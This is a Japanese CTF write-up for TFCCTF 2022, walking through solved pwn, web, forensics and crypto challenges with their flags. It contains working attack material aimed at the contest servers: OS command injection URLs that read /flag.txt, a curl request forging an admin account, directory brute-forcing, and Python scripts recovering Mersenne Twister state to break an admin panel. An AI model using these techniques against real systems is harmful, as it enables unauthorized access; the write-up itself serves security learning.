この大会は2022/7/29 19:00(JST)~2022/7/31 19:00(JST)に開催されました。
今回もチームで参戦。結果は7903点で941チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。
RULES (MISC)
Discordに入り、#rulesチャネルのルールを見ると、フラグの例が書かれていた。
TFCCTF{Fr33_fl4gz_f0r_U}
RANDOM (PWN)
Ghidraでデコンパイルする。
undefined8 main(void) { uint uVar1; time_t tVar2; char *pcVar3; long in_FS_OFFSET; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); tVar2 = time((time_t *)0x0); srand((uint)tVar2); puts("Menu: \n1. Generate number"); __isoc99_scanf(&DAT_0010201e,&local_14); if (local_14 == 1) { uVar1 = rand(); printf("%d",(ulong)uVar1); } else if (local_14 == 0x539) { pcVar3 = getenv("FLAG"); printf("%s",pcVar3); } else { printf("wrong option"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
1337(=0x539)と答えればよい。
$ nc 01.linux.challenges.ctf.thefewchosen.com 50534 Menu: 1. Generate number 1337 TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}
ROBOTS AND MUSIC (WEB)
http://01.linux.challenges.ctf.thefewchosen.com:50987/robots.txtにアクセスすると、以下のように表示される。
User-agent: * Disallow: /g00d_old_mus1c.php |< http://01.linux.challenges.ctf.thefewchosen.com:50987/g00d_old_mus1c.phpにアクセスすると、フラグが表示された。 >| <b>TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}</b> |< * PONG (WEB) OSコマンドインジェクション。http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20lsにアクセスすると、以下のように表示される。 >|| index.php Command executed: ping -c 2 127.0.0.1; ls
http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20ls%20/にアクセスすると、以下のように表示される。
bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var Command executed: ping -c 2 127.0.0.1; ls /
http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20cat%20/flag.txtにアクセスすると、以下のように表示される。
TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy} Command executed: ping -c 2 127.0.0.1; cat /flag.txt
TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}
ARE YOU THE ADMIN? (WEB)
以下によりadminユーザで、isAdminがtrueのデータを登録する。
$ curl -H 'Content-Type: application/json' -d '{"username": "admin", "isAdmin": true}' http://01.linux.challenges.ctf.thefewchosen.com:59205/api/auth
http://01.linux.challenges.ctf.thefewchosen.com:59205/にアクセスすると、以下のようにフラグが表示された。
Username: admin Is admin? yes TFCCTF{S4n1t1z3_Y0ur_1nput5!}
TFCCTF{S4n1t1z3_Y0ur_1nput5!}
DEEPLINKS (WEB)
ディレクトリ探索を行い、あやしいURLにアクセスする。
$ python3 dirsearch.py -u http://01.linux.challenges.ctf.thefewchosen.com:51343 -e html,php,txt Missing required dependencies to run. Do you want dirsearch to automatically install them? [Y/n] y Installing required dependencies... _|. _ _ _ _ _ _|_ v0.4.2.4 (_||| _) (/_(_|| (_| ) Extensions: html, php, txt | HTTP method: GET | Threads: 25 Wordlist size: 10276 Output File: /mnt/hgfs/Shared/dirsearch/reports/01.linux.challenges.ctf.thefewchosen.com_51343/_22-07-29_21-51-26.txt Target: http://01.linux.challenges.ctf.thefewchosen.com:51343/ [21:51:27] Starting: [21:52:15] 200 - 230B - /.well-known/apple-app-site-association [21:55:40] 200 - 20B - /index.html Task Completed $ curl http://01.linux.challenges.ctf.thefewchosen.com:51343/.well-known/apple-app-site-association { "applinks": { "apps": [], "details": [ { "appID": "ABCDEFGHIJ.com.example.example", "paths": ["TFCCTF{4ppl3_4pp_51t3_4550c14t10n}"] } ] } }
TFCCTF{4ppl3_4pp_51t3_4550c14t10n}
BBBBBBBBBB (FORENSICS)
バイナリに含まれる'BBBBBBBBBB'を削除する。
#!/usr/bin/env python3 with open('chall.jpg', 'rb') as f: data = f.read() data = data.replace(b'BBBBBBBBBB', b'') with open('flag.jpg', 'wb') as f: f.write(data)
この結果jpgとして画像を見ることができ、フラグが書いてあった。
TFCCTF{the_fl4g_1s_th3_w4y}
ADDING IN PARTS (FORENSICS)
0.zip~21.zipがあるが壊れていて、展開できない。各zipファイルに格納されているファイルのサイズは1で、crcは正しい値になっていると推測できる。そこで1文字のブルートフォースでcrcが一致する文字を連結していく。
#!/usr/bin/env python3 import zipfile import binascii dic_crc = {} for code in range(32, 127): crc = binascii.crc32(bytes([code])) dic_crc[crc] = chr(code) flag = '' for i in range(22): file = 'add_parts/%d.zip' % i with zipfile.ZipFile(file, 'r') as zf: for info in zf.infolist(): crc = info.CRC flag += dic_crc[crc] print(flag)
TFCCTF{ch3cksum2_g0od}
CAT WINK (FORENSICS)
画像検索すると、https://www.istockphoto.com/jp/%E5%86%99%E7%9C%9F/animal-winkにjpgだが同じ画像がある。RGBで同じかどうかで白黒を分けて画像生成する。
#!/usr/bin/env python3 from PIL import Image img1 = Image.open('cat.png').convert('RGB') img2 = Image.open('istockphoto-1267021092-612x612.jpg').convert('RGB') w, h = img1.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) for y in range(h): for x in range(w): r1, g1, b1 = img1.getpixel((x, y)) r2, g2, b2 = img2.getpixel((x, y)) if r1 == r2 and g1 == g2 and b1 == b2: output_img.putpixel((x, y), (0, 0, 0)) else: output_img.putpixel((x, y), (255, 255, 255)) output_img.save('flag.png')
生成した画像にフラグが現れた。
TFCCTF{c4tch0wsk1}
BASIC (CRYPTO)
basecrackでデコードする。
$ python3 basecrack.py -b "/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D" ██████╗ █████╗ ███████╗███████╗ ██████╗██████╗ █████╗ ██████╗██╗ ██╗ ██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝ ██████╔╝███████║███████╗█████╗ ██║ ██████╔╝███████║██║ █████╔╝ ██╔══██╗██╔══██║╚════██║██╔══╝ ██║ ██╔══██╗██╔══██║██║ ██╔═██╗ ██████╔╝██║ ██║███████║███████╗╚██████╗██║ ██║██║ ██║╚██████╗██║ ██╗ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ v3.0 python basecrack.py -h [FOR HELP] [-] Encoded Base: /Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D [>] Decoding as Base91: TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3} [-] The Encoding Scheme Is Base91
TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}
MAFIOSO (CRYPTO)
sha256と推測し、CrackStationでクラックする。
snitchesgetstitches
TFCCTF{snitchesgetstitches}
OBSCURE (CRYPTO)
コピペしたものをファイル保存し、バイナリエディタでASCIIのみの表示にすると、飛び飛びでフラグになっている。
TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}
EXCLUSIVE ORACLE (CRYPTO)
$ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 1 b'6\x0e\xa0\xe4;}=\xe1D\xb7\xab\xb6\xf9&.\xea\xb7A1N\x15[\xde)S|\xf9n-=5\x80\xaf\x88\xe2\x19\xb5\x11\xa2\xf6S' $ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 11 b'\xfa\xe2\xe8\xebm<\xaaz\xd4\xe1\xa8PM\x9az<\xc7Jbc\xfe\x00\x05\x12\xc9\x9f\xca\xf1\xd1\x88\xdb0\xe3\xcd\x98\xfb\xe8\x0b\xf7m\x9f\x95' $ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 11111 b'\xd6S\xb3-\xe90\x0b\x8ae9\x1e\xc9\x7f\x1f\xd1\xe4|\x997a\xad\xf81\xe78\xf5\x04\x1e\xdaEar\x8bt\xc7\x18\xa61\xad\x01\xb3$\xc1_\x8c' $ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 1 b'\xfa\xde1Z\x07\xb4\x7f\xd7Aq\r\x80\x16\x8b~\xf8\x03B!\xb3\xbe\xecM\xaa\x82\xd0\xbc\x92I\xa4\x0e\x12}b\x8c)x\xab\xbc4\x9f' $ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 1 b'i\xbf\xf59\x08\x9d\x92\x128\xe6\xdeo\xc6_\xb2*\x07\xe8-\x19Z\xbf\x01\x83\x873\x83\x95\x1dW~\xfc;\xbc\xfc\x83\xaf\xb8\xf0\x97\x0c'
暗号文字列は 40 + 入力バイト数 の長さになっている。フラグ+入力文字がXOR暗号されていると推測できる。1文字入力の暗号文字列の先頭と末尾をXORしてみる。
>>> from Crypto.Util.strxor import strxor >>> strxor(b'6', b'S') b'e' >>> strxor(b'\xfa', b'\x9f') b'e' >>> strxor(b'i', b'\x0c') b'e'
一応3文字の場合も試してみる。
$ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 111 b'\xa9\x0b|\x96\xde\x85\xe1\x8by\x8b\xbdn\xcd\x90\x16^\x92\xd5\t\xbbm\xf1\xf2\xb6\xe3\xafDW\x0cf\x96\x85jw\xd57\x1e\x7f\n1\xcc|\x0e' $ nc 01.linux.challenges.ctf.thefewchosen.com 57625 Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 111 b'\xa2\x10\x85\x05M\xe2c\\\xce(aI%\x19g\x11Y\xb5\x05fn\x99+\x84\xfe\xc8V\x11\x86d@k\xf2\x0e\xae\x02\xacv\xb8\n\xc7g\xf7'
>>> strxor(b'\xa9\x0b|', b'\xcc|\x0e') b'ewr' >>> strxor(b'\xa2\x10\x85', b'\xc7g\xf7') b'ewr'
鍵は40バイトと考えられるため、40バイト平文を入力し鍵を求め、復号する。
#!/usr/bin/env python3 import socket from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57625)) pt = '1' * 40 data = recvuntil(s, b'> ') print(data + pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) ct = eval(data) key = strxor(pt.encode(), ct[40:]) flag = strxor(ct[:40], key).decode() print(flag)
実行結果は以下の通り。
Just encrypted my flag. Encrypt your data too, and let's join them together! Your data > 1111111111111111111111111111111111111111 b'\n\xa6e\xbd\xa2\xe6\xd9\xf4\x8dgG\t\xa61\xc7\xd8\xa8\xef@\x08GU\x0bB\xdfh\xc1\x06\xfa\xf5\xb8?\x95D\xf2\r\tK\x93%o\xd1\x17\xcf\xc7\x91\x93\xb2\xd4b\x02\x1f\xe4_\x82\x81\xaa\x81\x06\t\x04\x08^,\x99h\x84_\xfb\xb1\xbeQ\x97\x1b\xf2[UN\x9di' TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}
TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}
TRAIN TO PADDINGTON (CRYPTO)
16バイト鍵でXORをして暗号化している。まずフラグが"TFCCTF{"から始まることを前提にわかる範囲で復号する。3ブロック目の最終文字が'\x3f'になっているので、それ以降は'\x3f'になることがわかる。このことから全体の鍵を求め、復号する。
#!/usr/bin/env python3 with open('output.txt', 'r') as f: ct = bytes.fromhex(f.read()) ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)] pt_head = 'TFCCTF{' key0 = [] for i in range(len(pt_head)): key0.append(ord(pt_head[i]) ^ ct[i]) pt0_blocks = [] for block in ct_blocks: pt = '' for i in range(len(key0)): pt += chr(block[i] ^ key0[i]) pt0_blocks.append(pt) assert pt0_blocks[-1][-1] == '\x3f' pt_tail = '\x3f' * (16 - len(pt_head)) key1 = [] for i in range(len(pt_tail)): key1.append(ord(pt_tail[i]) ^ ct[- len(pt_tail) + i]) key = key0 + key1 flag = '' for i in range(len(ct)): flag += chr(ct[i] ^ key[i%len(key)]) flag = flag.rstrip('\x3f') print(flag)
TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}
ADMIN PANEL (CRYPTO)
サーバの処理概要は以下の通り。
・KEY: ランダム16バイト文字列 ・PASSWORD: ランダム16バイト文字列 ・以下繰り返し ・メニュー表示 ・option: メニュー選択(1 or 2) ・optionが1の場合 ・password: hexで入力→デコード ・passwordがPASSWORDと一致していたら、フラグを表示 ・optionが2の場合 ・token: 入力(64バイトhex文字列) ・hex_token: tokenをhexデコード ・r_byte: ランダム1バイト ・r_byteを16進表記で表示 ・xorred: hex_tokenの各文字をr_byteとXOR ・PASSWORD = decrypt(xorred) ・iv = xorred[:16] ・ct = xorred[16:] ・pt = '' ・state = iv ・ctの長さ分繰り返し(i) ・b: stateをAES-ECB暗号化した1バイト目 ・c = b ^ ct[i] ・pt += bytes([c]) ・state = state[1:] + bytes([ct[i]]) ・ptを返却
hex_tokenの32バイトを同じ文字で指定したら、b, c, stateの値は常に一定になる。PASSWORDの16バイトは何かの文字の16バイトになるので、ブルートフォースでPASSWORDを当てる。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('01.linux.challenges.ctf.thefewchosen.com', 53189)) for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) token = (b'A' * 32).hex() data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) for code in range(256): for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) password = (bytes([code]) * 16).hex() data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + password) s.sendall(password.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if data != 'Wrong password!': break
実行結果は以下の通り。
======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 46 ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 00000000000000000000000000000000 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 01010101010101010101010101010101 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 02020202020202020202020202020202 Wrong password! : : ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 16161616161616161616161616161616 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 17171717171717171717171717171717 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 18181818181818181818181818181818 TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}
TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}
ADMIN PANEL BUT HARDER (CRYPTO)
ADMIN PANELとほぼ同様の問題だが、XOR鍵が1バイトから32バイトになっているため、難易度が上がっている。鍵はrandom.randbytes(32)で生成し表示されるので、Mersenne Twisterの特徴から、624//(32//4)回情報を得られれば、その次の鍵を推測することができる。このことを利用して、あとはADMIN PANELと同じ解き方で、フラグが得られる。
#!/usr/bin/env python3 import socket import random def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def untemper(rand): rand ^= rand >> 18; rand ^= (rand << 15) & 0xefc60000; a = rand ^ ((rand << 7) & 0x9d2c5680); b = rand ^ ((a << 7) & 0x9d2c5680); c = rand ^ ((b << 7) & 0x9d2c5680); d = rand ^ ((c << 7) & 0x9d2c5680); rand = rand ^ ((d << 7) & 0x9d2c5680); rand ^= ((rand ^ (rand >> 11)) >> 11); return rand s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57825)) N = 624 state = [] for i in range(N // (32 // 4)): for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) token = (b'A' * 32).hex() data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) r_bytes = bytes.fromhex(data.split(' ')[-1]) for i in range(0, len(r_bytes), 4): r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little') state.append(untemper(r_int)) state.append(N) random.setstate([3, tuple(state), None]) for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) token = random.randbytes(32).hex() data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) for code in range(256): for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) password = (bytes([code]) * 16).hex() data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + password) s.sendall(password.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if data != 'Wrong password!': break
実行結果は以下の通り。
======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: a43f2fc4440aee2aac36229fa20ab55ca7114637b135f432b958d9b3b201d719 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: e1e5e6b61c6d56d69d532668ba7abad81445dc46816aa9838e10db8a96aad20c ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 070be145a744efd88c08b095a28066d1481d18096b09423b1e06b8b812c32cfd : : ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: a5a32afdb93184ffa09ba4b19d03b95f667a8f45f96aa0b71d42a03003e120f3 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: bf53cf50c2bb43dbb6f55f3c55b56ecc86c4a999ee945e294d5f59db49c90114 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 92438df5b02d7574c2f78eac882fb9d69b55aa4fdbdf2af8dc15fc6422543ded ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc XORing with: 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 00000000000000000000000000000000 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 01010101010101010101010101010101 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 02020202020202020202020202020202 Wrong password! : : ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}
TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}
ADMIN PANEL BUT HARDER AND FIXED (CRYPTO)
ADMIN PANEL BUT HARDER と同じスクリプトを使う。
#!/usr/bin/env python3 import socket import random def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def untemper(rand): rand ^= rand >> 18; rand ^= (rand << 15) & 0xefc60000; a = rand ^ ((rand << 7) & 0x9d2c5680); b = rand ^ ((a << 7) & 0x9d2c5680); c = rand ^ ((b << 7) & 0x9d2c5680); d = rand ^ ((c << 7) & 0x9d2c5680); rand = rand ^ ((d << 7) & 0x9d2c5680); rand ^= ((rand ^ (rand >> 11)) >> 11); return rand s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57861)) N = 624 state = [] for i in range(N // (32 // 4)): for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) token = (b'A' * 32).hex() data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) r_bytes = bytes.fromhex(data.split(' ')[-1]) for i in range(0, len(r_bytes), 4): r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little') state.append(untemper(r_int)) state.append(N) random.setstate([3, tuple(state), None]) for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) token = random.randbytes(32).hex() data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) for code in range(256): for _ in range(4): data = recvuntil(s, b'\n').rstrip() print(data) password = (bytes([code]) * 16).hex() data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + password) s.sendall(password.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if data != 'Wrong password!': break
実行結果は以下の通り。
======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: e7f3121eaf23d2ef1a3c2e706fbd6c482ad71edc97ee02106a3630f7b8c85558 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: ed0c19a2c098875025b11a1bedb6ea3a7f0f88d7fc0a3a86c6660b077039894f ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 0bcabe8ef9f050b2c3b820a497dfdecb699d13ddf60680aef605d54dc14f968e : : ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 161e4e42e07f30ae1a8ea3c76e421e8827cfddf6ffd1d6c64c8a364fbf8651c8 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 820d57871a480defe1532bb4b774c37908106c4d4118305712a940c3a2f20f07 ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 4141414141414141414141414141414141414141414141414141414141414141 XORing with: 8555e9bd63350e949d3ad45d21477c3d81654b87e643cb53f0bdbd0e39a93b2a ======================== 1. Access Flag 2. Change Password ======================== > 2 Token > 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32 XORing with: 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32 ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 00000000000000000000000000000000 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 01010101010101010101010101010101 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 02020202020202020202020202020202 Wrong password! : : ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 53535353535353535353535353535353 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 54545454545454545454545454545454 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 55555555555555555555555555555555 Wrong password! ======================== 1. Access Flag 2. Change Password ======================== > 1 Password > 56565656565656565656565656565656 TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}
TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}